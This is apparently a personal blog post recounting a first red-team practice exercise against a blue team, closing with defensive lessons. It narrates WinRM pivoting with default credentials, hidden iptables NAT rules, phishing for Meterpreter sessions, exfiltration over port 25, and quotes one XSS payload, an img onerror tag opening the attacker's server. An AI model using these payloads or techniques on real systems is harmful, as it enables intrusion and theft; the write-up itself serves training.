First Time Red Team Experience

I was invited to be a part of a red team as part of a practice for a cyber defense event. I didn’t really know what to expect but I couldn’t miss the opportunity to learn, so I accepted. We had two days to learn our infrastructure and two days to actively engagement. In a team of four, this was the first time red teaming for two of us.  A lot of learning occurred between the four of us and ultimately for the blue team.  This was the scenario:

Red Team (codename POPTART) had previously infiltrated the network via unknown accesses and obtained domain admin credentials. Blue Team was brought in as incident response to mitigate and identify accesses, determine POPTART tactics and simultaneously protect critical files (referred to as Horses) on a file server.

TEAM BREAKDOWN (names are not real)

-3 Kali VMs (Version 2016.2)
-2 Window 7 VMs, no tools
-Router VM to NAT our "internet network" to internal IPs
-Default domain credentials (every user/Admin had same password)
-Ability to simulate user activity

Me: First timer. Proficient with popular tools on Kali, pentesting concepts. Basically assigned myself the role of being creative with maintaining access and exfiltration.
Cino: Experienced with *Nix systems and routing. Anchor of POPTART and generally had the best ideas.
Hib:  Experienced with Metasploit. Loved spear-phishing. Assigned to making a lot of obvious noise with Meterpreter sessions.
Ed: First timer. Familiar with Metasploit concepts but not proficient with penetration testing. Mostly played support for the three of us, since he was learning and subbed in during breaks.

RULES WE SORTA AGREED ON
-No easy exploits, including ETERNALBLUE. (We could have knocked over almost every box).
-External and internal webserver accesses were whitecarded, but we could only touch the internal webserver if we had some other point of presence.

Day 1:

First day of the exercise was really interesting. We had domain admin creds ahead of time and had set up an access on their DMZ webserver. We had to white card the external webserver access since the guys who created the range couldn’t get the Apache service up and served their website with Python’s SimpleHTTPServer. Additionally, the webserver was an Ubuntu workstation, so there was no real remote administration. Additionally, the firewall in front of the webserver only allowed 22, 25, 80 and 443 in. We staged nearly everything from the DMZ webserver.

Within about 30 minutes, Cino was able to get on the Domain Controller using the creds we received. He downloaded the files and modified them with Pop Tart images. What was genius was the way he accomplished it. There were two misconfigured DNS servers in the DMZ (they weren’t joined to the domain or configured to actually do DNS things). From his Windows box, he pivoted through the DMZ webserver to the DNS box, and gained access to it using only WinRm commands. As a matter of fact, he only used creds and WinRm to pivot all the way to the DC.

That’s cool and all, but here’s the impressive part. After he set that up, he went back to the DMZ server and modified iptables so that A) He could use TTL matching to NAT and launch himself to any Windows box using WinRm and B) Dorked the iptables command so that it didn’t show any of his NAT rules. He was able to maintain this access the entire exercise.

Meanwhile, Hib was working on social engineering. He sent some emails to users, giving them a link to his own Python webserver where he served a “System Update” file. He clicked the link as one of the users and got a Meterpreter session. Blue team noticed pretty quickly but was pretty slow in counteracting it. Apparently, the Blue team was set up with a lot of monitoring tools but didn’t have a lot of prevention. Also, it was around this time that we realized that they were only monitoring Windows systems, and not the Ubuntu external and internal webservers. From the user workstation, Hib was able to access the mounted share, which we found out that every user had access to per a domain GPO,  downloaded the files himself as well.

Blue team started to log Cino’s and Hib’s IPs as malicious, but took about two hours to actually block them. That was fine with Cino and Hib, since we were able to to change our public IPs on our router. Also, Hib had used Metasploit’s persistence module to set up callbacks to his second IP before he had even assigned it to himself. That realistically could have been seen as using a different callback server than exploitation server. Because of that, he was able to get another session back fairly quickly. Cino used the same technique to get access again.

A bit later, Blue team started shutting down outbound ports from the internal net that were not 25, 80 and 443. But for some reason, they left 443 outbound on the DC. Not sure why. They also tried to implement a password reset policy on the domain so that the next time a user logged in, they had to change the password. Unfortunately for them, they didn’t know that Cino was RDPed into the DC, so he just clicked no. Other RDP sessions acted the same way, giving us prompts to change the password after we used the default creds.

Using Hib’s access and the whitecarded rule on the internal webserver, I modified their main webserver page for some BeEF XSS via a <script> tag. Domain policy was to set the internal webserver as the default Internet Explorer homepage, so I figured that would be fun since every user and admin would automatically get hooked as soon as they opened the internal webpage.

But as it turns out, the Ruby on our Kali boxes didn’t work so well with BeEF so the hook.js file didn’t work. We had no way of updating the system so I decided to take a more direct approach. Blue team noticed my IP and saw the BeEF butcher page, but didn’t find it malicious. They considered my IP to be a “watering hole”.

Shortly after, some Blue team member had set a firewall rule completely blocking the internal net from accessing the internet and we lost all accesses. However, having access from the internal to DMZ was critical for the scenario.  That pretty much led to the end of Day 1 and we had a debrief.

Day 2:

Day two lasted only about 4 hours. The firewall issue was resolved. Cino immediately got his access back. We had expected them to change the domain creds but they didn’t. We weren’t sure why, since we told them that the end of the first day. Oh well.

Cino messed around a bit and started sending out random traffic to give them a hint where he was located. Hib re-approached social engineering via email to get users to run executables. He was trying to be light with it since he basically slammed them with it the day before and couldn’t think of a new approach. Hib had to leave shortly after the start so Ed took over for the rest of the day, learning his way around.  Also, I had to change my XSS tactic. I decided to use Ghost Phisher so I changed the XSS to automatically open up a window to a malicious site with:

<img src="poptart.jpg" onerror=window.open(http://myIP)></img>

A user downloaded the executable, and gave me a meterpreter shell. From there, it took me less than a minute to pivot over to their SQL server using Psexec with credentials they STILL hadn’t changed, dump the database (no real data in it), and create a SQL admin. At this point, I had two meterpreter sessions open. I then whitecarded over to the internal webserver and smbclient’ed my way to the file share. I copied the files then wrote a super simple Python script to exfil my data out port 25 to my server. After that, Blue Team finally implemented a GPO to prevent users from running executables.

Shortly after, and while we still had access to every box on the internal site, POPTART decided to call it a day. I think this was the first time any of them had seen successful web exploitation, or the consistent use of WinRM so a lot of learning definitely occurred between ourselves and the Blue Team. We talked them into how to find us and what they could have done to stop us.

LESSONS LEARNED

Ultimately, the responses were extremely slow. They saw nearly everything we did, but it took them forever to actually cut us off or try to implement mitigations. They immediately noticed my first successful XSS redirection but didn’t really know what they were looking at. They had no sandbox to open up the page to check for malware, and the Ghost-Phisher page is so heavily loaded with HTML/JS/CSS that manual analysis in such a short time was impossible.

The Blue Team learned that sometimes it’s better to keep playing whack-a-mole to mitigate than spending so much time and energy into finding the root cause. We created a Domain Admin account that they noticed almost immediately but took no action on, because they were trying to figure out how we did it, instead of responding to the immediate situation. Turned out most of the blue team didn’t know that we had domain admin creds in the scenario.

They also learned they needed better *Nix monitoring, since there were no syslogs generated on the webservers. They also had the appropriate monitoring software but didn’t implement in based on the limited time prep they were given. And finally, they learned they should get people qualified in Windows administration to be able to properly mitigate attacks on a Domain Controller. With a qualified administration, the GPO changes they made could have been more effective with a more immediate impact on our accesses.

SUMMARY

I had a lot of fun doing my first red team exercise and it’s definitely something I’m looking forward to doing again. I realized how important it was to have red team operators with different skillsets, as Hib, Ed and I would not have thought to perform iptables and WinRM magic, and none of them would have thought to perform XSS. We all learned from each other, and that’s the type of team pentesting and red team exercises I’d like to have in my future.